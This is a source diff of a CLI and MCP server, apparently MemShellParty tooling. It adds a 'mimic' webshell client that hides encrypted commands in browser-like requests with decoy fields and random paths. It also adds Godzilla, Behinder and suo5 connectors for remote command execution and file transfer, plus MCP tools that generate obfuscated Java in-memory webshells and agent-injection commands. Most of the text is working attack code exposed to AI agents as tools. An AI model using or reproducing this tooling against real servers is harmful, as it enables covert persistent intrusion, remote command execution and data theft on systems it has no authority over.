+ (_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
2177
+ ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
2178
+ /\{\{int:(\d+):(\d+)\}\}/g,
2179
+ (_m, a, b) => String(randomInt2(Number(a), Number(b) + 1))
2180
+ );
2181
+ }
2182
+ function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
2183
+ return encryptField(plaintext, aesKey, cipher);
2184
+ }
2185
+ function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
2186
+ return decryptField(value, aesKey, cipher);
2187
+ }
2188
+ function buildFormBody(fields) {
2189
+ return Buffer.from(
2190
+ fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
2191
+ "utf8"
2192
+ );
2193
+ }
2194
+ function buildJsonBody(fields) {
2195
+ const obj = {};
2196
+ for (const f of fields) obj[f.name] = f.value;
2197
+ return Buffer.from(JSON.stringify(obj), "utf8");
2198
+ }
2199
+ function renderBodyTemplate(template, payload) {
2200
+ return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
2201
+ }
2202
+ function extractBetween(text, left, right) {
2203
+ const start = text.indexOf(left);
2204
+ if (start === -1) return null;
2205
+ const valueStart = start + left.length;
2206
+ if (right === "") return text.slice(valueStart);
2207
+ const end = text.indexOf(right, valueStart);
2208
+ if (end === -1) return null;
2209
+ return text.slice(valueStart, end);
2210
+ }
2211
+ function templateDelimiters(templates, markers) {
2212
+ const out = [];
2213
+ let markerUsed = false;
2214
+ for (const t of templates) {
2215
+ const idx = t.template.indexOf("{{payload}}");
2216
+ if (idx !== -1) {
2217
+ out.push({
2218
+ left: t.template.slice(0, idx),
2219
+ right: t.template.slice(idx + "{{payload}}".length)
2220
+ });
2221
+ } else if (!markerUsed) {
2222
+ out.push({ left: markers.left, right: markers.right });
2223
+ markerUsed = true;
2224
+ }
2225
+ }
2226
+ if (out.length === 0) out.push({ left: markers.left, right: markers.right });
2227
+ return out;
2228
+ }
2229
+
2230
+ // src/connect/mimic.ts
2231
+ var BROWSER_HEADERS = {
2232
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
2233
+ Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
2234
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
2235
+ "Content-Type": "application/x-www-form-urlencoded"
2236
+ };
2237
+ function buildContext(req) {
2238
+ const pass = req.conn.pass ?? "pass";
2239
+ const secretKey = req.conn.key ?? "key";
2240
+ let profile;
2241
+ const profileName = req.options.profile ?? req.conn.profile;
2242
+ if (profileName) {
2243
+ profile = loadProfile(profileName);
2244
+ }
2245
+ const cipher = resolveCipher(profile?.cipher);
2246
+ return {
2247
+ pass,
2248
+ aesKey: deriveAesKey(secretKey),
2249
+ cipher,
2250
+ markers: deriveMarkers(pass, secretKey, cipher),
2251
+ profile,
2252
+ dynamicPath: req.options.dynamicPath ?? false
2253
+ };
2254
+ }
2255
+ function pickRequestUrl(connUrl, ctx) {
2256
+ if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
2257
+ return connUrl;
2258
+ }
2259
+ const origin = new URL(connUrl).origin;
2260
+ const dir = ctx.profile.paths[randomInt3(ctx.profile.paths.length)];
2261
+ const slug = randomString(8).toLowerCase();
2262
+ return `${origin}${dir}${slug}`;
2263
+ }
2264
+ async function roundTrip(req, ctx, plaintext) {
2265
+ let requestUrl = pickRequestUrl(req.conn.url, ctx);
2266
+ const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
2267
+ const secretField = shape?.secretField ?? ctx.pass;
2268
+ const secretIn = shape?.secretIn ?? "body";
2269
+ const bodyStyle = shape?.bodyStyle ?? "form";
2270
+ const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
2271
+ const decoys = (shape?.fields ?? []).map((f) => ({
2272
+ name: f.name,
2273
+ value: renderFieldValue(f.value)
2274
+ }));
2275
+ let body;
2276
+ const extraHeaders = {};
2277
+ if (secretIn === "query") {
2278
+ const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
2279
+ requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
2280
+ body = Buffer.alloc(0);
2281
+ } else if (secretIn === "header") {
2282
+ extraHeaders[secretField] = cipher;
2283
+ body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
2284
+ } else if (shape?.bodyTemplate) {
2285
+ body = renderBodyTemplate(shape.bodyTemplate, cipher);
2286
+ } else {
2287
+ body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
2288
+ }
2289
+ const baseHeaders = { ...BROWSER_HEADERS };
2290
+ if (secretIn === "query") delete baseHeaders["Content-Type"];
2291
+ else if (shape?.bodyTemplate) {
2292
+ const t = shape.bodyTemplate.trimStart();
2293
+ if (t.startsWith("--")) {
2294
+ const boundary = t.split(/\r?\n/, 1)[0].slice(2);
2295
+ baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
2296
+ } else {
2297
+ const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
2298
+ if (inferred) baseHeaders["Content-Type"] = inferred;
2299
+ else delete baseHeaders["Content-Type"];
2300
+ }
2301
+ } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
2302
+ const headers = buildHeaders(
2303
+ { ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
2304
+ req.common
2305
+ );
2306
+ let res;
2307
+ try {
2308
+ res = await postRaw(requestUrl, body, {
2309
+ headers,
2310
+ timeoutMs: req.common.timeoutMs,
2311
+ insecure: req.common.insecure
2312
+ });
2313
+ } catch (err) {
2314
+ return {
2315
+ ok: false,
2316
+ error: err instanceof Error ? err.message : String(err),
2317
+ requestUrl,
2318
+ status: 0,
2319
+ durationMs: 0
2320
+ };
2321
+ }
2322
+ if (res.status !== 200) {
2323
+ return {
2324
+ ok: false,
2325
+ error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
2326
+ requestUrl,
2327
+ status: res.status,
2328
+ durationMs: res.durationMs
2329
+ };
2330
+ }
2331
+ const text = res.body.toString("utf8");
2332
+ const delimiters = templateDelimiters(
2333
+ ctx.profile ? profileTemplates(ctx.profile) : [],
2334
+ ctx.markers
2335
+ );
2336
+ let b64 = null;
2337
+ for (const d of delimiters) {
2338
+ b64 = extractBetween(text, d.left, d.right);
2339
+ if (b64 !== null) break;
2340
+ }
2341
+ if (b64 === null) {
2342
+ return {
2343
+ ok: false,
2344
+ error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
2345
+ requestUrl,
2346
+ status: res.status,
2347
+ durationMs: res.durationMs
2348
+ };
2349
+ }
2350
+ try {
2351
+ const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
2352
+ return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
2353
+ } catch {
2354
+ return {
2355
+ ok: false,
2356
+ error: "response decryption failed \u2014 wrong key?",
2357
+ requestUrl,
2358
+ status: res.status,
2359
+ durationMs: res.durationMs
2360
+ };
2361
+ }
2362
+ }
2363
+ var mimicProtocol = {
2364
+ name: "mimic",
2365
+ description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
2366
+ async test(req) {
2367
+ const started = Date.now();
2368
+ const tool = "mimic";
2369
+ const url = req.conn.url;
2370
+ let ctx;
2371
+ try {
2372
+ ctx = buildContext(req);
2373
+ } catch (err) {
2374
+ return {
2375
+ ok: false,
2376
+ tool,
2377
+ url,
2378
+ error: err instanceof Error ? err.message : String(err),
2379
+ durationMs: Date.now() - started
2380
+ };
2381
+ }
2382
+ const canary = randomString(12);
2383
+ const r = await roundTrip(req, ctx, `echo ${canary}`);
2384
+ if (!r.ok) {
2385
+ return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
2386
+ }
2387
+ if (!r.output.includes(canary)) {
2388
+ return {
2389
+ ok: false,
2390
+ tool,
2391
+ url,
2392
+ error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
2393
+ durationMs: Date.now() - started
2394
+ };
2395
+ }
2396
+ const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
2397
+ const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
2398
+ return {
2399
+ ok: true,
2400
+ tool,
2401
+ url,
2402
+ detail: `round-trip ok (${profileNote}; ${pathNote})`,
2403
+ durationMs: Date.now() - started
2404
+ };
2405
+ },
2406
+ async exec(req, command) {
2407
+ const started = Date.now();
2408
+ const tool = "mimic";
2409
+ const url = req.conn.url;
2410
+ let ctx;
2411
+ try {
2412
+ ctx = buildContext(req);
2413
+ } catch (err) {
2414
+ return {
2415
+ ok: false,
2416
+ tool,
2417
+ url,
2418
+ command,
2419
+ error: err instanceof Error ? err.message : String(err),
2420
+ durationMs: Date.now() - started
2421
+ };
2422
+ }
2423
+ const r = await roundTrip(req, ctx, command);
2424
+ if (!r.ok) {
2425
+ return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
2426
+ }
2427
+ return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
2428
+ }
2429
+ };
2430
+
2431
+ // src/connect/registry.ts
2432
+ var protocols = /* @__PURE__ */ new Map();
2433
+ function registerProtocol(protocol) {
2434
+ protocols.set(protocol.name, protocol);
2435
+ }
2436
+ function getProtocol(name) {
2437
+ return protocols.get(name);
2438
+ }
2439
+ function protocolNames(capability) {
2440
+ const all = [...protocols.values()];
2441
+ const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
2442
+ return usable.map((p) => p.name);
2443
+ }
2444
+ function requireProtocol(name) {
2445
+ const protocol = getProtocol(name);
2446
+ if (!protocol) {
2447
+ throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
2448
+ }
2449
+ return protocol;
2450
+ }
2451
+ function unsupportedMessage(protocol, capability) {
2452
+ return `protocol '${protocol.name}' does not support ${capability}`;
2453
+ }
2454
+ var godzillaProtocol = {
2455
+ name: "godzilla",
2456
+ description: "Godzilla JAVA_AES_BASE64 shell",
2457
+ test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
2458
+ exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
2459
+ ...common,
2460
+ os: options.os
2461
+ }),
2462
+ upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
2463
+ ...common,
2464
+ remoteCharset: options.remoteCharset
2465
+ }),
2466
+ download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
2467
+ ...common,
2468
+ remoteCharset: options.remoteCharset
2469
+ })
2470
+ };
2471
+ var behinderProtocol = {
2472
+ name: "behinder",
2473
+ description: "Behinder AES shell",
2474
+ test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
2475
+ exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
2476
+ upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
2477
+ download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
2478
+ };
2479
+ var suo5Protocol = {
2480
+ name: "suo5",
2481
+ description: "suo5 HTTP tunnel (connect test only)",
2482
+ test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
2483
+ };
2484
+ registerProtocol(godzillaProtocol);
2485
+ registerProtocol(behinderProtocol);
2486
+ registerProtocol(suo5Protocol);
2487
+ registerProtocol(mimicProtocol);
2488
+
1650
2489
  // src/core/localfile.ts
1651
- import { existsSync as existsSync2, readFileSync as readFileSync3, statSync } from "fs";
1652
- import { dirname as dirname2, join as join3, resolve } from "path";
2490
+ import { existsSync as existsSync3, readFileSync as readFileSync4, statSync } from "fs";
2491
+ import { dirname as dirname2, join as join4, resolve } from "path";
1653
2492
  var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
1654
2493
  function remoteBasename(remotePath) {
1655
2494
  const trimmed = remotePath.replace(/[/\\]+$/, "");
@@ -1666,18 +2505,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
1666
2505
  );
1667
2506
  }
1668
2507
  target = name;
1669
- } else if (existsSync2(localArg) && statSync(localArg).isDirectory()) {
2508
+ } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
1670
2509
  if (!name) {
1671
2510
  throw new Error(
1672
2511
  `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
1673
2512
  );
1674
2513
  }
1675
- target = join3(localArg, name);
2514
+ target = join4(localArg, name);
1676
2515
  } else {
1677
2516
  target = localArg;
1678
2517
  }
1679
2518
  const abs = resolve(target);
1680
- if (existsSync2(abs)) {
2519
+ if (existsSync3(abs)) {
1681
2520
  if (statSync(abs).isDirectory()) {
1682
2521
  throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
1683
2522
  }
@@ -1686,13 +2525,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
1686
2525
  }
1687
2526
  }
1688
2527
  const parent = dirname2(abs);
1689
- if (!existsSync2(parent) || !statSync(parent).isDirectory()) {
2528
+ if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
1690
2529
  throw new Error(`local directory ${parent} does not exist`);
1691
2530
  }
1692
2531
  return abs;
1693
2532
  }
1694
2533
  function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
1695
- if (!existsSync2(localPath)) {
2534
+ if (!existsSync3(localPath)) {
1696
2535
  throw new Error(`local file ${localPath} does not exist`);
1697
2536
  }
1698
2537
  const stat = statSync(localPath);
@@ -1704,29 +2543,29 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
1704
2543
  `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
1705
2544
  );
1706
2545
  }
1707
- return readFileSync3(localPath);
2546
+ return readFileSync4(localPath);
1708
2547
  }
1709
2548
 
1710
2549
  // src/core/targets.ts
1711
- import { existsSync as existsSync3, mkdirSync as mkdirSync2, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
1712
- import { homedir as homedir3 } from "os";
1713
- import { dirname as dirname3, join as join4 } from "path";
1714
- var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
2550
+ import { existsSync as existsSync4, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2551
+ import { homedir as homedir4 } from "os";
2552
+ import { dirname as dirname3, join as join5 } from "path";
2553
+ var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1715
2554
  function checkName(kind, name) {
1716
- if (!NAME_RE.test(name)) {
2555
+ if (!NAME_RE2.test(name)) {
1717
2556
  throw new Error(
1718
2557
  `invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
1719
2558
  );
1720
2559
  }
1721
2560
  }
1722
2561
  function targetStorePath() {
1723
- return process.env.MEMPARTY_TARGETS ?? join4(homedir3(), ".memparty", "targets.json");
2562
+ return process.env.MEMPARTY_TARGETS ?? join5(homedir4(), ".memparty", "targets.json");
1724
2563
  }
1725
2564
  function listProjects() {
1726
2565
  try {
1727
2566
  const file = targetStorePath();
1728
- if (!existsSync3(file)) return {};
1729
- const data = JSON.parse(readFileSync4(file, "utf8"));
2567
+ if (!existsSync4(file)) return {};
2568
+ const data = JSON.parse(readFileSync5(file, "utf8"));
1730
2569
  if (data !== null && typeof data === "object" && !Array.isArray(data)) {
1731
2570
  return data;
1732
2571
  }
@@ -1739,8 +2578,8 @@ function getProject(name) {
1739
2578
  }
1740
2579
  function writeProjects(projects) {
1741
2580
  const file = targetStorePath();
1742
- mkdirSync2(dirname3(file), { recursive: true });
1743
- writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
2581
+ mkdirSync3(dirname3(file), { recursive: true });
2582
+ writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
1744
2583
  `, { mode: 384 });
1745
2584
  }
1746
2585
  function saveProjectMeta(name, meta) {
@@ -1848,7 +2687,8 @@ function autoSaveShell(conn) {
1848
2687
  headerValue: conn.headerValue,
1849
2688
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1850
2689
  insecure: conn.insecure,
1851
- profile: conn.profile
2690
+ profile: conn.profile,
2691
+ upgradeProtocol: conn.upgradeProtocol
1852
2692
  });
1853
2693
  return `${projectName}/${shellName}`;
1854
2694
  }
@@ -1902,10 +2742,47 @@ function resolveConnection(ref, flags) {
1902
2742
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
1903
2743
  insecure: flags.insecure ?? stored?.insecure,
1904
2744
  profile: flags.profile ?? stored?.profile,
2745
+ upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
1905
2746
  targetName
1906
2747
  };
1907
2748
  }
1908
2749
 
2750
+ // src/core/obfuscation.ts
2751
+ function parseObfuscationOptions(input) {
2752
+ if (input === void 0 || input.trim() === "") return void 0;
2753
+ const options = {};
2754
+ for (const entry of input.split(/[,\n]/)) {
2755
+ const separator = entry.indexOf("=");
2756
+ const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
2757
+ if (separator < 0 || key === "") {
2758
+ throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
2759
+ }
2760
+ if (Object.hasOwn(options, key)) {
2761
+ throw new Error(`Duplicate obfuscation option "${key}".`);
2762
+ }
2763
+ const value = entry.slice(separator + 1).trim();
2764
+ if (value === "true" || value === "false") {
2765
+ options[key] = value === "true";
2766
+ } else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
2767
+ options[key] = Number(value);
2768
+ } else {
2769
+ options[key] = value;
2770
+ }
2771
+ }
2772
+ return options;
2773
+ }
2774
+
2775
+ // src/core/agent.ts
2776
+ function supportsAgentLoadArguments(shellType, packer) {
2777
+ return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
2778
+ }
2779
+ function agentLoadExamples(agentArgs) {
2780
+ return [
2781
+ `java -jar agent.jar <pid> ${agentArgs}`,
2782
+ `jattach <pid> load instrument false agent.jar=${agentArgs}`
2783
+ ];
2784
+ }
2785
+
1909
2786
  // src/version.ts
1910
2787
  import { createRequire } from "module";
1911
2788
  var require2 = createRequire(import.meta.url);
@@ -1936,13 +2813,20 @@ var memShellInput = {
1936
2813
  shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
1937
2814
  shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
1938
2815
  packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
1939
- jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
2816
+ jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
1940
2817
  debug: z.boolean().optional(),
1941
2818
  byPassJavaModule: z.boolean().optional(),
1942
2819
  shrink: z.boolean().optional(),
1943
2820
  lambdaSuffix: z.boolean().optional(),
1944
2821
  probe: z.boolean().optional(),
2822
+ obfuscate: z.boolean().optional(),
2823
+ obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
2824
+ obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
1945
2825
  shellClassName: z.string().optional(),
2826
+ toolOptions: z.record(z.union([z.string(), z.record(z.unknown())])).optional().describe(
2827
+ "Additional shell-tool fields from list_shell_tool_configs, including plugin fields. String/enum fields use strings; v3.1+ object fields use JSON objects. These override matching built-in convenience arguments."
2828
+ ),
2829
+ toolOptionJson: z.record(z.string()).optional().describe("String-encoded shell-tool fields (name -> value); object fields contain JSON text."),
1946
2830
  godzillaPass: z.string().optional(),
1947
2831
  godzillaKey: z.string().optional(),
1948
2832
  behinderPass: z.string().optional(),
@@ -1957,19 +2841,22 @@ var memShellInput = {
1957
2841
  urlPattern: z.string().optional(),
1958
2842
  injectorClassName: z.string().optional(),
1959
2843
  staticInitialize: z.boolean().optional(),
2844
+ agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
1960
2845
  outputFile: z.string().optional().describe(
1961
2846
  "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
1962
2847
  )
1963
2848
  };
1964
2849
  var probeInput = {
1965
- probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
1966
- probeContent: z.string().describe("BasicInfo, Server, OS, JDK, Bytecode, Command"),
2850
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
2851
+ probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
1967
2852
  packer: z.string(),
1968
2853
  jdk: z.string().optional(),
1969
2854
  debug: z.boolean().optional(),
1970
2855
  byPassJavaModule: z.boolean().optional(),
1971
2856
  shrink: z.boolean().optional(),
1972
2857
  lambdaSuffix: z.boolean().optional(),
2858
+ obfuscate: z.boolean().optional(),
2859
+ obfuscationOptions: memShellInput.obfuscationOptions,
1973
2860
  staticInitialize: z.boolean().optional(),
1974
2861
  shellClassName: z.string().optional(),
1975
2862
  host: z.string().optional(),
@@ -1978,8 +2865,31 @@ var probeInput = {
1978
2865
  server: z.string().optional(),
1979
2866
  reqParamName: z.string().optional(),
1980
2867
  commandTemplate: z.string().optional(),
2868
+ respHeaderName: z.string().optional(),
1981
2869
  outputFile: memShellInput.outputFile
1982
2870
  };
2871
+ var bytecodeInput = {
2872
+ classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
2873
+ outputFile: z.string().optional().describe("also write the transformed class to this local file")
2874
+ };
2875
+ var bytecodeTransformInput = {
2876
+ ...bytecodeInput,
2877
+ packer: z.string().optional(),
2878
+ byPassJavaModule: z.boolean().optional(),
2879
+ staticInitialize: z.boolean().optional(),
2880
+ shrink: z.boolean().optional(),
2881
+ renamePackage: z.boolean().optional(),
2882
+ relocateFrom: z.string().optional(),
2883
+ relocateTo: z.string().optional(),
2884
+ entryMethod: z.string().optional(),
2885
+ newClassName: z.string().optional(),
2886
+ randomName: z.boolean().optional(),
2887
+ obfuscate: z.boolean().optional(),
2888
+ obfuscationOptions: memShellInput.obfuscationOptions,
2889
+ server: z.string().optional(),
2890
+ probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
2891
+ respHeaderName: z.string().optional()
2892
+ };
1983
2893
  var connectInput = {
1984
2894
  name: z.string().optional().describe(
1985
2895
  "saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
@@ -1992,7 +2902,8 @@ var connectInput = {
1992
2902
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
1993
2903
  suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
1994
2904
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
1995
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
2905
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
2906
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
1996
2907
  };
1997
2908
  var execInput = {
1998
2909
  name: z.string().optional().describe(
@@ -2009,7 +2920,8 @@ var execInput = {
2009
2920
  headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
2010
2921
  headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
2011
2922
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
2012
- timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
2923
+ timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
2924
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
2013
2925
  };
2014
2926
  var transferConnInput = {
2015
2927
  name: execInput.name,
@@ -2021,6 +2933,7 @@ var transferConnInput = {
2021
2933
  headerValue: execInput.headerValue,
2022
2934
  insecure: execInput.insecure,
2023
2935
  timeoutMs: execInput.timeoutMs,
2936
+ upgradeProtocol: execInput.upgradeProtocol,
2024
2937
  remoteCharset: z.string().optional().describe(
2025
2938
  "godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
2026
2939
  )
@@ -2048,12 +2961,82 @@ var targetSaveInput = {
2048
2961
  headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
2049
2962
  headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
2050
2963
  insecure: z.boolean().optional().describe("skip TLS certificate verification"),
2964
+ upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
2051
2965
  projectRemark: z.string().optional().describe("project remark (merged into the project)"),
2052
2966
  projectCategory: z.string().optional().describe("project category (merged into the project)"),
2053
2967
  shellRemark: z.string().optional().describe("remark for this shell")
2054
2968
  };
2055
2969
  function createMcpServer(client) {
2056
2970
  const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
2971
+ server.registerTool(
2972
+ "bytecode_decode",
2973
+ {
2974
+ title: "Decode Java class",
2975
+ description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
2976
+ inputSchema: bytecodeInput
2977
+ },
2978
+ async (args) => {
2979
+ try {
2980
+ const result = await client.decodeBytecode(args.classBytesBase64);
2981
+ const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
2982
+ { packResult: result.classBytesBase64Str },
2983
+ { outFile: args.outputFile, decode: true }
2984
+ );
2985
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
2986
+ } catch (err) {
2987
+ return errorContent(err);
2988
+ }
2989
+ }
2990
+ );
2991
+ server.registerTool(
2992
+ "bytecode_transform",
2993
+ {
2994
+ title: "Transform Java class",
2995
+ description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
2996
+ inputSchema: bytecodeTransformInput
2997
+ },
2998
+ async (args) => {
2999
+ try {
3000
+ const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
3001
+ if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
3002
+ throw new Error("Package relocation requires relocateFrom and relocateTo.");
3003
+ }
3004
+ const {
3005
+ outputFile: outputPath,
3006
+ obfuscate: _obfuscate,
3007
+ obfuscationOptions,
3008
+ probeMethod,
3009
+ server: server2,
3010
+ respHeaderName,
3011
+ ...fields
3012
+ } = args;
3013
+ const request = {
3014
+ obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
3015
+ ...probeMethod === void 0 ? {} : {
3016
+ server: server2 ?? "Unknown",
3017
+ probe: {
3018
+ probeMethod,
3019
+ probeContent: "Bytecode",
3020
+ respHeaderName
3021
+ }
3022
+ }
3023
+ };
3024
+ const result = await client.transformBytecode({
3025
+ classBytesBase64: args.classBytesBase64,
3026
+ ...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
3027
+ ...renamePackage ? { renamePackage } : {},
3028
+ ...request
3029
+ });
3030
+ const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
3031
+ { packResult: result.packResult ?? result.classBytesBase64Str },
3032
+ { outFile: outputPath, decode: result.packResult === void 0 || void 0 }
3033
+ );
3034
+ return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
3035
+ } catch (err) {
3036
+ return errorContent(err);
3037
+ }
3038
+ }
3039
+ );
2057
3040
  server.registerTool(
2058
3041
  "list_servers",
2059
3042
  { title: "List servers", description: "List supported servers and their shell types" },
@@ -2104,6 +3087,78 @@ function createMcpServer(client) {
2104
3087
  }
2105
3088
  }
2106
3089
  );
3090
+ server.registerTool(
3091
+ "list_shell_tool_configs",
3092
+ {
3093
+ title: "List shell tool configs",
3094
+ description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
3095
+ },
3096
+ async () => {
3097
+ try {
3098
+ return jsonContent(await client.getShellToolConfigs());
3099
+ } catch (err) {
3100
+ return errorContent(err);
3101
+ }
3102
+ }
3103
+ );
3104
+ server.registerTool(
3105
+ "list_plugins",
3106
+ {
3107
+ title: "List external plugins",
3108
+ description: "List v3.1+ external plugin metadata, SPI services, load status and load errors. An empty list means no plugins or a backend older than v3.1."
3109
+ },
3110
+ async () => {
3111
+ try {
3112
+ return jsonContent(await client.getPlugins());
3113
+ } catch (err) {
3114
+ return errorContent(err);
3115
+ }
3116
+ }
3117
+ );
3118
+ server.registerTool(
3119
+ "list_remote_options",
3120
+ {
3121
+ title: "Resolve remote shell tool options",
3122
+ description: "Fetch and normalize a v3.1 remote-select field. Returns labels and string IDs or complete objects ready to pass to generate_memshell toolOptions.",
3123
+ inputSchema: {
3124
